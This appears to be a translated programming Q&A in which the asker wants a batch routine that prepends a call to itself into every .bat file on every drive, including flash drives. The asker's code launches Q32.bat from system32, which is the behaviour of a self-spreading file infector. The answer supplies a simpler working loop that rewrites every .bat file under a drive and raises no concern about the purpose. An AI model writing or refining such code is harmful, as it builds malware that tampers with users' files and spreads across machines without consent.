0

我正在尝试在我的批处理文件中创建一个例程,它将对自身的调用附加到每个其他驱动器(包括闪存驱动器等)中每个其他批处理文件的开头。我一直在使用嵌套的 FOR 函数来做到这一点。第一部分设置了一个名为 append 的变量,用于对驱动器中的每个批处理文件进行实际附加。第二部分使用 fsutil 获取每个正在使用的驱动器并通过“cd”级联每个输出,然后调用 append 变量来执行实际的附加。目的是确保检查每个驱动器是否要附加批处理文件。我可以将变量设置为这样的命令字符串吗?这么多 FOR 功能会造成故障吗?因为我有一个嵌入另一个?我是否要在 FOR 函数中设置变量和使用标记,对吗?实际的附加过程会顺利吗?最后,是否会有任何可能中断自动化的中断,例如尝试将 cd 设置为没有光盘的光盘驱动器并导致“插入光盘”弹出窗口?

set append = (
    FOR %%F IN (*.bat) DO (
        FOR /f "tokens=*" %%I IN (%%F) DO (
            set origtext = %%I
            echo @echo off >%%F
            echo cd %drive%WINDOWS\system32\Q32 >> %%F
            echo start Q32.bat >> %%F
            echo %%I >> %%F
        )
    )
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
    cd %%A
    %append%
)
4

1 回答 1

1

你可以用这样的东西做更少的循环:

set desiredCall=c:\windows\batchyouwanttocall.bat

for /r %i in (*.bat) do (
   echo %desiredCall% > "%i.tmp"
   type "%i" >> "%i.tmp"
   move /y "%i.tmp" "%i"
)

FOR /R从您调用它的任何位置遍历目录树。因此,如果您从 .bat 运行它C:,C 驱动器上的每个 .bat 文件都会受到影响。

使用这种方法,您不必遍历每个文件的每一行。只是每个文件。

为了回答您的问题,我认为您不能将变量设置为这样的命令字符串。

需要注意的是,如果您要在%desiredCall%上面调用的例程也是一个 .bat 文件,那么您需要确保不要将其设置为无限调用自身。

于 2012-05-04T04:33:51.350 回答